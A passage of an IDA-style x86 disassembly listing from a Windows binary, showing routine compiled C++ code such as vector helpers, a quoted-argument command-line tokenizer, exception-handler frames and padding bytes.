		mov	esi, [esp+44h]
		add	esp, 4
		lea	eax, [esp+18h]
		mov	ecx, esi
		push	eax
		call	sub_4014D3
		lea	ecx, [esp+18h]
		call	sub_401226
		mov	ecx, [esp+30h]
		pop	edi
		mov	eax, esi
		pop	ebx
		pop	esi
		pop	ebp
		mov	large fs:0, ecx
		add	esp, 2Ch
		retn	0Ch
; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 40h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40A4A0	proc near		; CODE XREF: sub_401E47j

var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ecx
		push	esi
		push	edi
		mov	esi, ecx
		mov	[esp+0Ch+var_4], 0
		call	sub_4013E3
		mov	ecx, [esp+0Ch+arg_4]
		mov	edi, [esp+0Ch+arg_0]
		sub	eax, ecx
		push	eax
		push	ecx
		push	edi
		mov	ecx, esi
		call	sub_4012B2
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ecx
		retn	8
sub_40A4A0	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_40A4E0:				; CODE XREF: ___:0040194Cj
		push	ecx
		push	esi
		mov	esi, [esp+0Ch]
		push	1
		mov	ecx, esi
		mov	dword ptr [esp+8], 0
		call	sub_402112
		mov	eax, esi
		pop	esi
		pop	ecx
		retn	4
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40A510	proc near		; CODE XREF: sub_4011EAj

var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= byte ptr -34h
var_24		= byte ptr -24h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	0FFFFFFFFh
		push	offset SEH_40A510
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 30h
		push	esi
		push	edi
		mov	edi, [esp+44h+arg_8]
		mov	esi, ecx
		test	edi, edi
		mov	[esp+44h+var_38], 0
		jnz	short loc_40A551
		mov	esi, [esp+44h+arg_0]
		push	offset byte_448F30
		mov	ecx, esi
		call	sub_401870
		jmp	loc_40A684
; ---------------------------------------------------------------------------


loc_40A551:				; CODE XREF: sub_40A510+2Aj
		lea	eax, [esp+44h+arg_8]
		lea	ecx, [esp+44h+var_34]
		push	eax
		call	sub_40169A
		mov	ecx, [esi+9]
		mov	[esp+44h+var_4], 1
		push	ecx
		lea	ecx, [esp+48h+var_24]
		call	sub_401870
		lea	ecx, [esp+44h+var_24]
		mov	byte ptr [esp+44h+var_4], 2
		call	sub_4014DD
		mov	[esp+44h+var_3C], eax
		mov	cl, [eax]
		test	cl, cl
		jz	loc_40A635
		push	ebx


loc_40A591:				; CODE XREF: sub_40A510+11Ej
		mov	dl, [edi]
		cmp	cl, dl
		jnz	short loc_40A5A0


loc_40A597:				; CODE XREF: sub_40A510+8Ej
		inc	eax
		mov	[esp+48h+var_3C], eax
		cmp	[eax], dl
		jz	short loc_40A597


loc_40A5A0:				; CODE XREF: sub_40A510+85j
		cmp	byte ptr [eax],	22h
		setz	bl
		test	bl, bl
		jz	short loc_40A5AF
		inc	eax
		mov	[esp+48h+var_3C], eax


loc_40A5AF:				; CODE XREF: sub_40A510+98j
		lea	edx, [esp+48h+var_3C]
		lea	ecx, [esp+48h+var_34]
		push	edx
		call	sub_401997
		mov	eax, [esp+48h+var_3C]
		test	bl, bl
		mov	cl, [eax]
		jz	short loc_40A5FF
		test	cl, cl
		jz	short loc_40A5E7


loc_40A5CB:				; CODE XREF: sub_40A510+D5j
		cmp	cl, 22h
		jnz	short loc_40A5DC
		mov	cl, [eax+1]
		cmp	cl, 20h
		jz	short loc_40A5E7
		test	cl, cl
		jz	short loc_40A5E7


loc_40A5DC:				; CODE XREF: sub_40A510+BEj
		inc	eax
		mov	[esp+48h+var_3C], eax
		mov	cl, [eax]
		test	cl, cl
		jnz	short loc_40A5CB


loc_40A5E7:				; CODE XREF: sub_40A510+B9j
					; sub_40A510+C6j ...
		cmp	byte ptr [eax],	0
		jz	short loc_40A62A
		mov	byte ptr [eax],	0
		mov	eax, [esp+48h+var_3C]
		mov	cl, [eax+1]
		test	cl, cl
		jz	short loc_40A62A
		add	eax, 2
		jmp	short loc_40A626
; ---------------------------------------------------------------------------


loc_40A5FF:				; CODE XREF: sub_40A510+B5j
		test	cl, cl
		jz	short loc_40A614
		mov	dl, [edi]


loc_40A605:				; CODE XREF: sub_40A510+102j
		cmp	cl, dl
		jz	short loc_40A614
		inc	eax
		mov	[esp+48h+var_3C], eax
		mov	cl, [eax]
		test	cl, cl
		jnz	short loc_40A605


loc_40A614:				; CODE XREF: sub_40A510+F1j
					; sub_40A510+F7j
		mov	cl, [eax]
		test	cl, cl
		jz	short loc_40A62A
		cmp	cl, [edi]
		jnz	short loc_40A62A
		mov	byte ptr [eax],	0
		mov	eax, [esp+48h+var_3C]
		inc	eax


loc_40A626:				; CODE XREF: sub_40A510+EDj
		mov	[esp+48h+var_3C], eax


loc_40A62A:				; CODE XREF: sub_40A510+DAj
					; sub_40A510+E8j ...
		mov	cl, [eax]
		test	cl, cl
		jnz	loc_40A591
		pop	ebx


loc_40A635:				; CODE XREF: sub_40A510+7Aj
		lea	ecx, [esp+44h+var_34]
		call	sub_4011F9
		mov	ecx, [esp+44h+arg_4]
		cmp	ecx, eax
		jb	short loc_40A64D
		push	offset byte_448F30
		jmp	short loc_40A65A
; ---------------------------------------------------------------------------


loc_40A64D:				; CODE XREF: sub_40A510+134j
		push	ecx
		lea	ecx, [esp+48h+var_34]
		call	sub_401F82
		mov	eax, [eax]
		push	eax


loc_40A65A:				; CODE XREF: sub_40A510+13Bj
		mov	esi, [esp+48h+arg_0]
		mov	ecx, esi
		call	sub_401870
		lea	ecx, [esp+44h+var_24]
		mov	[esp+44h+var_38], 1
		call	sub_401226
		lea	ecx, [esp+44h+var_34]
		mov	byte ptr [esp+44h+var_4], 0
		call	sub_401596
; ---------------------------------------------------------------------------


loc_40A684:				; CODE XREF: sub_40A510+3Cj
		mov	ecx, [esp+44h+var_C]
		mov	eax, esi
		pop	edi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 3Ch
		retn	10h
sub_40A510	endp

; ---------------------------------------------------------------------------
		db 7 dup(90h)
		db 70h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40A710	proc near		; CODE XREF: sub_4016B8j

var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	ecx
		mov	eax, [esp+4+arg_8]
		mov	edx, [esp+4+arg_4]
		push	esi
		mov	esi, [esp+8+arg_0]
		push	0
		push	eax
		push	edx
		push	esi
		mov	[esp+18h+var_4], 0
		call	sub_4011EA
		mov	eax, esi
		pop	esi
		pop	ecx
		retn	0Ch
sub_40A710	endp

; ---------------------------------------------------------------------------
		db 9 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40A750	proc near		; CODE XREF: sub_40202Cj

arg_0		= dword	ptr  4

		push	esi
		mov	esi, ecx
		mov	ecx, [esp+4+arg_0]
		call	sub_401389
		push	eax
		mov	ecx, esi
		call	sub_4015E1
		pop	esi
		retn	4
sub_40A750	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40A780	proc near		; CODE XREF: sub_401A9Bj

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	eax
		call	sub_4015E1
		retn	4
sub_40A780	endp

; ---------------------------------------------------------------------------
		db 3 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40A7A0	proc near		; CODE XREF: sub_401479j

arg_0		= dword	ptr  4

		mov	eax, [ecx+9]
		mov	ecx, [esp+arg_0]
		add	eax, ecx
		retn	4
sub_40A7A0	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_40A7C0:				; CODE XREF: ___:004014A6j
		mov	eax, [ecx+9]
		mov	ecx, [esp+4]
		add	eax, ecx
		retn	4
; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40A7E0	proc near		; CODE XREF: sub_401389j
		mov	eax, [ecx+9]
		retn
sub_40A7E0	endp

; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40A800	proc near		; CODE XREF: sub_4017EEj
		mov	eax, [ecx+9]
		retn
sub_40A800	endp

; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40A820	proc near		; CODE XREF: sub_4014DDj
		mov	eax, [ecx+9]
		retn
sub_40A820	endp

; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40A840	proc near		; CODE XREF: sub_40169Aj

arg_0		= dword	ptr  4

		mov	eax, ecx
		mov	ecx, [esp+arg_0]
		mov	dl, [ecx]
		xor	ecx, ecx
		mov	[eax], dl
		mov	[eax+4], ecx
		mov	[eax+8], ecx
		mov	[eax+0Ch], ecx
		retn	4
sub_40A840	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_40A870	proc near		; CODE XREF: sub_401596j
		push	esi
		mov	esi, ecx
		mov	eax, [esi+8]
		mov	ecx, [esi+4]
		push	eax
		push	ecx
		mov	ecx, esi
		call	sub_4019B5
		mov	eax, [esi+4]
		mov	edx, [esi+0Ch]
		sub	edx, eax
		mov	ecx, esi
		sar	edx, 2
		push	edx
		push	eax
		call	sub_4011EF
sub_40A870	endp

; ---------------------------------------------------------------------------
		xor	eax, eax


loc_40A898:				; DATA XREF: ___:00446534o
					; ___:00446578o ...
		mov	[esi+4], eax
		mov	[esi+8], eax
		mov	[esi+0Ch], eax
		pop	esi
		retn
; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40A8C0	proc near		; CODE XREF: sub_4011F9j
		mov	edx, [ecx+4]
		test	edx, edx
		jnz	short loc_40A8CA
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_40A8CA:				; CODE XREF: sub_40A8C0+5j
		mov	eax, [ecx+8]
		sub	eax, edx
		sar	eax, 2
		retn
sub_40A8C0	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40A8F0	proc near		; CODE XREF: sub_401F82j

arg_0		= dword	ptr  4

		push	esi
		push	edi
		mov	esi, ecx
		call	sub_4011F9
		mov	edi, [esp+8+arg_0]
		cmp	eax, edi
		ja	short loc_40A908
		mov	ecx, esi
		call	sub_401F05


loc_40A908:				; CODE XREF: sub_40A8F0+Fj
		mov	ecx, esi
		call	sub_401D2F
		lea	eax, [eax+edi*4]
		pop	edi
		pop	esi
		retn	4
sub_40A8F0	endp

; ---------------------------------------------------------------------------
		db 9 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40A930	proc near		; CODE XREF: sub_401997j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	esi
		mov	esi, ecx
		push	eax
		call	sub_401659
		push	eax
		mov	ecx, esi
		call	sub_4016F9
		pop	esi
		retn	4
sub_40A930	endp

; ---------------------------------------------------------------------------
		db 7 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40A960	proc near		; CODE XREF: sub_401D2Fj
		mov	eax, [ecx+4]
		retn
sub_40A960	endp

; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40A980	proc near		; CODE XREF: sub_401659j
		mov	eax, [ecx+8]
		retn
sub_40A980	endp

; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40A9A0	proc near		; CODE XREF: sub_4016F9j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	edi
		mov	edi, ecx
		call	sub_401D2F
		mov	edx, [esp+8+arg_4]
		mov	ecx, eax
		mov	eax, [esp+8+arg_0]
		push	edx
		mov	esi, eax
		push	1
		sub	esi, ecx
		push	eax
		mov	ecx, edi
		sar	esi, 2
		call	sub_4013D9
		mov	ecx, edi
		call	sub_401D2F
		lea	eax, [eax+esi*4]
		pop	edi
		pop	esi
		retn	8
sub_40A9A0	endp

; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40A9F0	proc near		; CODE XREF: sub_4019B5j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ebx
		mov	ebx, [esp+4+arg_4]
		push	esi
		mov	esi, [esp+8+arg_0]
		push	edi
		cmp	esi, ebx
		mov	edi, ecx
		jz	short loc_40AA10


loc_40AA01:				; CODE XREF: sub_40A9F0+1Ej
		push	esi
		mov	ecx, edi
		call	sub_4018C0
		add	esi, 4
		cmp	esi, ebx
		jnz	short loc_40AA01


loc_40AA10:				; CODE XREF: sub_40A9F0+Fj
		pop	edi
		pop	esi
		pop	ebx
		retn	8
sub_40A9F0	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_40AA30:				; CODE XREF: sub_401F05j
		push	0FFFFFFFFh
		push	offset loc_439DB9
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 30h
		lea	eax, [esp+3]
		lea	ecx, [esp+4]
		push	eax
		push	offset aInvalidVectorT ; "invalid vector<T> subscript"
		nop
		call	near ptr 76081F67h
		lea	ecx, [esp+4]
		mov	dword ptr [esp+38h], 0
		push	ecx
		lea	ecx, [esp+18h]
		nop
		call	near ptr 760A0430h
		lea	edx, [esp+14h]
		push	offset dword_440088
		push	edx
		call	sub_437B22
; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_40AAB0	proc near		; CODE XREF: sub_4011EFj

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	eax
		call	sub_437AD2
sub_40AAB0	endp

; ---------------------------------------------------------------------------
		pop	ecx
		retn	8
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40AAD0	proc near		; CODE XREF: sub_4013D9j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	ebx
		push	ebp
		push	esi
		mov	esi, ecx
		push	edi
		mov	edi, [esp+10h+arg_4]
		mov	eax, [esi+8]
		mov	ecx, [esi+0Ch]
		sub	ecx, eax
		sar	ecx, 2
		cmp	ecx, edi
		jnb	loc_40AB9B
		mov	ecx, esi
		call	sub_4011F9
		cmp	edi, eax
		jnb	short loc_40AB03
		mov	ecx, esi
		call	sub_4011F9
		mov	ebp, eax
		jmp	short loc_40AB05
; ---------------------------------------------------------------------------


loc_40AB03:				; CODE XREF: sub_40AAD0+26j
		mov	ebp, edi


loc_40AB05:				; CODE XREF: sub_40AAD0+31j
		mov	ecx, esi
		call	sub_4011F9
		mov	ebx, eax
		push	0
		add	ebx, ebp
		mov	ecx, esi
		push	ebx
		call	sub_401DE8
; ---------------------------------------------------------------------------
		mov	edx, [esp+10h+arg_0]
		mov	ebp, eax
		mov	eax, [esi+4]
		push	ebp
		push	edx
		push	eax
		mov	ecx, esi
		call	sub_4010CD
		mov	ecx, [esp+10h+arg_8]
		mov	[esp+10h+arg_4], eax
		push	ecx
		push	edi
		push	eax
		mov	ecx, esi
		call	sub_402194
		mov	edx, [esp+10h+arg_4]
		mov	ecx, [esi+8]
		lea	eax, [edx+edi*4]
		mov	edx, [esp+10h+arg_0]
		push	eax
		push	ecx
		push	edx
		mov	ecx, esi
		call	sub_4010CD
		mov	eax, [esi+8]
		mov	ecx, [esi+4]
		push	eax
		push	ecx
		mov	ecx, esi
		call	sub_4019B5
		mov	eax, [esi+4]
		mov	edx, [esi+0Ch]
		sub	edx, eax
		mov	ecx, esi
		sar	edx, 2
		push	edx
		push	eax
		call	sub_4011EF
; ---------------------------------------------------------------------------
		lea	eax, [ebp+ebx*4+0]
		mov	ecx, esi
		mov	[esi+0Ch], eax
		call	sub_4011F9
		add	eax, edi
		mov	[esi+4], ebp
		pop	edi
		lea	ecx, [ebp+eax*4+0]
		mov	[esi+8], ecx
		pop	esi
		pop	ebp
		pop	ebx
		retn	0Ch
; ---------------------------------------------------------------------------


loc_40AB9B:				; CODE XREF: sub_40AAD0+17j
		mov	ebx, [esp+10h+arg_0]
		mov	edx, eax
		sub	edx, ebx
		sar	edx, 2
		cmp	edx, edi
		jnb	short loc_40ABF9
		lea	ebp, ds:0[edi*4]
		lea	ecx, [ebx+ebp]
		push	ecx
		push	eax
		push	ebx
		mov	ecx, esi
		call	sub_4010CD
		mov	eax, [esi+8]
		mov	edx, [esp+10h+arg_8]
		mov	ecx, eax
		push	edx
		sub	ecx, ebx
		sar	ecx, 2
		sub	edi, ecx
		mov	ecx, esi
		push	edi
		push	eax
		call	sub_402194
		mov	edx, [esp+10h+arg_8]
		mov	eax, [esi+8]
		push	edx
		push	eax
		push	ebx
		call	sub_401E8D
		mov	eax, [esi+8]
		add	esp, 0Ch
		add	eax, ebp
		mov	[esi+8], eax
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn	0Ch
; ---------------------------------------------------------------------------


loc_40ABF9:				; CODE XREF: sub_40AAD0+D8j
		test	edi, edi
		jbe	short loc_40AC33
		shl	edi, 2
		push	eax
		push	eax
		sub	eax, edi
		mov	ecx, esi
		push	eax
		call	sub_4010CD
		mov	eax, [esi+8]
		push	eax
		sub	eax, edi
		push	eax
		push	ebx
		call	sub_4020CC
		mov	ecx, [esp+1Ch+arg_8]
		lea	edx, [edi+ebx]
		push	ecx
		push	edx
		push	ebx
		call	sub_401E8D
		mov	eax, [esi+8]
		add	esp, 18h
		add	eax, edi
		mov	[esi+8], eax


loc_40AC33:				; CODE XREF: sub_40AAD0+12Bj
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn	0Ch
sub_40AAD0	endp

; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 60h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40ACA0	proc near		; CODE XREF: sub_4018C0j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	eax
		call	j_nullsub_1
		pop	ecx
		retn	4
sub_40ACA0	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40ACC0	proc near		; CODE XREF: sub_4010CDj

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	ebx
		push	ebp
		mov	ebp, [esp+8+arg_4]
		push	esi
		mov	esi, [esp+0Ch+arg_0]
		mov	ebx, ecx
		cmp	esi, ebp
		jz	short loc_40ACF2
		push	edi
		mov	edi, [esp+10h+arg_8]


loc_40ACD6:				; CODE XREF: sub_40ACC0+27j
		push	esi
		push	edi
		mov	ecx, ebx
		call	sub_40213F
		add	esi, 4
		add	edi, 4
		cmp	esi, ebp
		jnz	short loc_40ACD6
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn	0Ch
; ---------------------------------------------------------------------------


loc_40ACF2:				; CODE XREF: sub_40ACC0+Fj
		mov	eax, [esp+0Ch+arg_8]
		pop	esi
		pop	ebp
		pop	ebx
		retn	0Ch
sub_40ACC0	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40AD10	proc near		; CODE XREF: sub_402194j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	ebp
		push	edi
		mov	edi, [esp+8+arg_4]
		mov	ebp, ecx
		test	edi, edi
		jbe	short loc_40AD37
		push	ebx
		mov	ebx, [esp+0Ch+arg_8]
		push	esi
		mov	esi, [esp+10h+arg_0]


loc_40AD26:				; CODE XREF: sub_40AD10+23j
		push	ebx
		push	esi
		mov	ecx, ebp
		call	sub_40213F
		add	esi, 4
		dec	edi
		jnz	short loc_40AD26
		pop	esi
		pop	ebx


loc_40AD37:				; CODE XREF: sub_40AD10+Aj
		pop	edi
		pop	ebp
		retn	0Ch
sub_40AD10	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_40AD50	proc near		; CODE XREF: sub_401DE8j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	0
		push	eax
		call	sub_4014D8
sub_40AD50	endp

; ---------------------------------------------------------------------------
		add	esp, 8
		retn	8
; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40AD80	proc near		; CODE XREF: sub_40213Fj

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		mov	ecx, [esp+arg_0]
		push	eax
		push	ecx
		call	sub_401E01
		add	esp, 8
		retn	8
sub_40AD80	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40ADB0	proc near		; CODE XREF: sub_401E8Dj

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	eax, [esp+arg_0]
		mov	ecx, [esp+arg_4]
		cmp	eax, ecx
		jz	short locret_40ADCD
		mov	edx, [esp+arg_8]
		push	esi


loc_40ADC1:				; CODE XREF: sub_40ADB0+1Aj
		mov	esi, [edx]
		mov	[eax], esi
		add	eax, 4
		cmp	eax, ecx
		jnz	short loc_40ADC1
		pop	esi

locret_40ADCD:				; CODE XREF: sub_40ADB0+Aj
		retn
sub_40ADB0	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40ADE0	proc near		; CODE XREF: sub_4020CCj

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	edx, [esp+arg_0]
		mov	ecx, [esp+arg_4]
		cmp	edx, ecx
		jz	short loc_40AE02
		mov	eax, [esp+arg_8]
		push	esi


loc_40ADF1:				; CODE XREF: sub_40ADE0+1Ej
		mov	esi, [ecx-4]
		sub	ecx, 4
		sub	eax, 4
		cmp	ecx, edx
		mov	[eax], esi
		jnz	short loc_40ADF1
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_40AE02:				; CODE XREF: sub_40ADE0+Aj
		mov	eax, [esp+arg_8]
		retn
sub_40ADE0	endp

; ---------------------------------------------------------------------------
		db 9 dup(90h)
		db 10h dup(0CCh)
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_1. PRESS KEYPAD "+" TO EXPAND]
		db 0Fh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_40AE40	proc near		; CODE XREF: sub_4014D8j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		test	eax, eax
		jge	short loc_40AE4A
		xor	eax, eax


loc_40AE4A:				; CODE XREF: sub_40AE40+6j
		shl	eax, 2
		push	eax
		call	sub_437AEA
sub_40AE40	endp

; ---------------------------------------------------------------------------
		add	esp, 4
		retn
; ---------------------------------------------------------------------------
		db 9 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40AE70	proc near		; CODE XREF: sub_401E01j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		push	eax
		push	4
		call	sub_4011CC
		add	esp, 8
		test	eax, eax
		jz	short locret_40AE8B
		mov	ecx, [esp+arg_4]
		mov	edx, [ecx]
		mov	[eax], edx

locret_40AE8B:				; CODE XREF: sub_40AE70+11j
		retn
sub_40AE70	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40AEA0	proc near		; CODE XREF: sub_401E88j
		mov	eax, ecx
		mov	dword ptr [eax], offset	off_43F014
		retn
sub_40AEA0	endp

; ---------------------------------------------------------------------------
		db 7 dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_40AEC0:				; CODE XREF: ___:00401721j
					; ___:loc_402045j
		push	esi
		mov	esi, ecx
		call	sub_40204F
		test	byte ptr [esp+8], 1
		jz	short loc_40AED8
		push	esi
		call	sub_437AD2
; ---------------------------------------------------------------------------
		add	esp, 4


loc_40AED8:				; CODE XREF: ___:0040AECDj
		mov	eax, esi
		pop	esi
		retn	4
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40AEF0	proc near		; CODE XREF: sub_40204Fj

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset SEH_40AEF0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	dword ptr [ecx], offset	off_43F014
		mov	[ebp+var_10], esp
		mov	[ebp+var_4], 0
		call	sub_40174E


loc_40AF21:				; DATA XREF: sub_40AF32o
		mov	ecx, [ebp+var_C]
		pop	edi
		pop	esi
		mov	large fs:0, ecx
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_40AEF0	endp


; =============== S U B	R O U T	I N E =======================================



sub_40AF32	proc near		; DATA XREF: ___:004401C4o
		mov	eax, offset loc_40AF21
		retn
sub_40AF32	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40AF60	proc near		; CODE XREF: sub_4014C4j
		call	sub_401712
		jmp	sub_4017BC
sub_40AF60	endp

; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40AF80	proc near		; CODE XREF: sub_401B2Cj
		call	sub_401627
		jmp	sub_4017CB
sub_40AF80	endp

; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40AFA0	proc near		; CODE XREF: sub_4013DEj
		push	esi
		mov	esi, ecx
		push	esi
		push	offset sub_401429
		lea	eax, [esi+0Ch]
		push	0
		push	eax
		call	sub_40123A
		add	esp, 10h
		test	eax, eax
		jnz	short loc_40AFC2
		mov	al, 1
		mov	[esi+10h], al
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_40AFC2:				; CODE XREF: sub_40AFA0+19j
		mov	byte ptr [esi+10h], 0
		xor	al, al
		pop	esi
		retn
sub_40AFA0	endp

; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_40AFE0:				; CODE XREF: ___:004011C2j
		push	ecx
		push	esi
		mov	esi, ecx
		mov	al, [esi+10h]
		test	al, al
		jz	short loc_40B007
		mov	ecx, [esi+0Ch]
		lea	eax, [esp+4]
		push	eax
		push	ecx
		call	sub_401767
		mov	eax, [esp+0Ch]
		add	esp, 8
		mov	byte ptr [esi+10h], 0
		pop	esi
		pop	ecx
		retn
; ---------------------------------------------------------------------------


loc_40B007:				; CODE XREF: ___:0040AFE9j
		xor	eax, eax
		pop	esi
		pop	ecx
		retn
; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40B020	proc near		; CODE XREF: sub_40174Ej
		push	esi
		mov	esi, ecx
		mov	al, [esi+10h]
		test	al, al
		jz	short loc_40B03C
		mov	eax, [esi+0Ch]
		push	0Fh
		push	eax
		call	sub_401762
		add	esp, 8
		mov	byte ptr [esi+10h], 0


loc_40B03C:				; CODE XREF: sub_40B020+8j
		pop	esi
		retn
sub_40B020	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_40B050:				; CODE XREF: ___:004011F4j
		mov	eax, [ecx+0Ch]
		retn
; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B070	proc near		; CODE XREF: sub_401429j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset SEH_40B070
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		mov	ecx, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		mov	eax, [ecx]
		mov	[ebp+var_10], esp
		mov	[ebp+var_4], 0
		call	dword ptr [eax+4]


loc_40B09E:				; DATA XREF: sub_40B0B1o
